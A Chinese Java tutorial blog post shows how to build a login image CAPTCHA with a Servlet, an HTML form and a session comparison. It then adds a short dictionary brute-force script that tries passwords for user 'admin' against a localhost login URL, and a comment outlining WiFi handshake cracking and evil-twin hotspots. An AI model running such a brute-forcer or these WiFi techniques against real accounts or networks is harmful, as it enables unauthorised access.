您的位置:首页 > 编程语言 > Java开发

Java学习日记9:登录时验证码的功能以及实现

2017-03-17 13:19 761 查看

登录图形验证码的实现

验证码的作用:

防止用恶意破解密码

防止刷票

防止论坛灌水

总之就是避免机器可以进行的反复操作。

验证码原理:

由程序随机生成字母、数字或汉字的图片,并将图片上的内容记在session中,让用记看到图片后将图片上的字母、数字或汉字填写在表单项中提交给服务器,服务端程序将用户填写的信息与Session中的信息进行对比,就知道是不是人填写的,关键在于不让能程序自动识辨出图片上的信息,所以一般我们都加干扰线、点,或旋转、缩放等。

图形验证码的实现(Servlet):

package com.servlet;
//随机验证码
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.util.Random;

import javax.imageio.ImageIO;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/randimg")
public class RandImageServlet extends HttpServlet
{

private static Random rand =new Random();//新建随机对象
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

resp.setContentType("image/jpeg");//返回类型为jpeg
ServletOutputStream so=resp.getOutputStream();//构建输出流

int width=120;//宽
int height=34;//高
StringBuilder sb=new StringBuilder();//字符串对象
//在内存中画图
BufferedImage img=new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);//图像对象
Graphics g=
4000
img.getGraphics();//画图句柄
g.setColor(new Color(220,220,220));//设置颜色
g.fillRect(0, 0, width, height);//颜色的填充,矩形

//产生点干扰
for(int i=0;i<60;i++)//60个实心圆
{
int x=rand.nextInt(width);//随机x
int y=rand.nextInt(height);//随机y

int w=rand.nextInt(width);//随机w
int h=rand.nextInt(height);//随机h
g.setColor(new Color(160+rand.nextInt(50),160+rand.nextInt(50),160+rand.nextInt(50)));//随机颜色

g.fillArc(x, y,6, 6, 0,360);//产生(画)实心圆
}

int randnum=20;//设置一个随机数的基数
//产生
for(int i=0;i<4;i++)//产生验证码,数字或者是字母
{
String temchar=null;
if(i%2==0)//如果是2的整数倍
{
temchar=randChar();//随机字母
}else
{
temchar=String.valueOf(rand.nextInt(10));//随机1~9的数字
}
sb.append(temchar);
//画到界面上
Color color=new Color(80+rand.nextInt(80),80+rand.nextInt(80),80+rand.nextInt(80));//新建一个颜色对象,随机

g.setFont(new Font("宋体",Font.BOLD,26));//字体以及大小
g.setColor(color);//设置字的颜色

if(i==0)randnum=6;
else randnum=15;
g.drawString(temchar, i*30+randnum, 23+rand.nextInt(15));//设置字在验证码中的位置
}

//服务器记住,你画的图片上是什么字符,在session中存入一条信息,名字是sessionimg,内容是字符串对象sb对应的字符串
req.getSession().setAttribute("sessionimg", sb.toString());

ImageIO.write(img,"jpeg", so);//将图片通过输出流输出到客户端
so.close();//关闭输出流

}
public static String randChar()//产生随机字母的方法
{
String re=null;

char c=(char)(65+rand.nextInt(26));//大写字母A对应的ASCII码是65,一共有26个字母
re=String.valueOf(c);//将c赋值到re中
return re;
}

}


Index页面:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<center>
<form action="checkLogin" method="get">
用户名 :<input type="text" name="uname"/><br/>
密码:<input type="password" name="upwd"/><br/>
验证码:<input type="text" name="randchar" size="6"/>
<!-- 下面这句中的onclick中是一段JavaScript代码,意思是单击就重新发送请求给地址为randimg的Servlet中,
并且随机传过去一个数字,为的是防止浏览器直接从缓存中读取信息  -->
<img src="randimg" style="cursor:pointer;" onclick="this.src='randimg?a='+Math.random();"/>
<br/>
<input type="submit" value="OK"/>
</form>
</center>
</body>
</html>


CheckLogin的Servlet:

在CheckLogin的Servlet中加入验证码的session并且与主页传进来的信息进行对比

String serverchar=(String)req.getSession().getAttribute("sessionimg");//在session中的到服务器传过来的验证码

//将服务器的验证码和用户输入的验证码全部转为小写,再进行对比,如果正确的话再执行下面的代码
if(null!=serverchar&&serverchar.toLowerCase().equals(randchar.toLowerCase()))
{
...
}


下面简单演示一下密码的暴力破解(只用于自己测试用):

package com.pj;
//暴力破解密码,需要密码字典
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.List;

import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;

public class PJ {

public static void main(String[] args) throws Exception
{

InputStream fi=PJ.class.getResourceAsStream("/com/pj/pwd.txt"); //将pwd.txt(密码字典)构建一个输入流。

List<String> list=IOUtils.readLines(fi);//从输入流fi中一行一行的读取数据存到list中。
for(String pwd:list)//迭代list
{

//得到登录页面的servlet的url并且用get传参(知道用户名为admin的情况下)
URL url=new URL("http://localhost/servlet31/checkLogin?uname=admin&upwd="+pwd);
URLConnection uc=url.openConnection();//打开这个url链接
InputStream is=uc.getInputStream();//建立链接的输入流,读取页面传过来的数据
Thread.sleep(1000);//每试一次空闲1秒

String ret=readUrl2String(is);//读出is(页面)中的数据,并且赋给ret字符串。

//判断这个字符串(页面)中的特征码(就是登陆不不成功的话,就会返回主页,特征码就是主页有并且登陆成功以后没有的信息。)
//如果有就代表登陆不成功,密码不正确。
if(ret.indexOf("密码:")!=-1)
{
System.out.print("*>");
}else
{
System.out.println("\n正确密码为:"+pwd);
}

}
}

//将URL转换为String的方法
public static String readUrl2String(InputStream is)throws Exception
{
BufferedReader br=new BufferedReader(new InputStreamReader(is));//把is读入内存中,读取is中的数据
StringBuilder sb=new StringBuilder();
String str=null;
while(null!=(str=br.readLine()))
{
sb.append(str);
}
return sb.toString();

}

}

/**
* wifi破解密码的基本原理:
* 向路由器发送很多垃圾信息,将已经在线的设备挤下线,然后该设备会进行重连,
* 就可以截取到这个设备发给路由器的信息,不过这个信息是加密的,这时候就可以离线进行暴力破解。
* 就是一个一个加密,然后与截取到的信息进行对比,对比成功之后就破解成功。
*
* 网上搜索:奶瓶破解
*
*
* 还有一种取证手段:蜜罐技术
* 可以自己设置一个热点,名字和目标设备连接过的WiFi名字一样,该设备就会自动连接,就会发过来信息,
* 这时候我们就只接受信息存储下来,并且不回任何信息,可以得到许多信息。
* 当然这只是很浅显的一种,具体的可以百度搜索。
*
*
*
*/


今天就到这里啦~
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: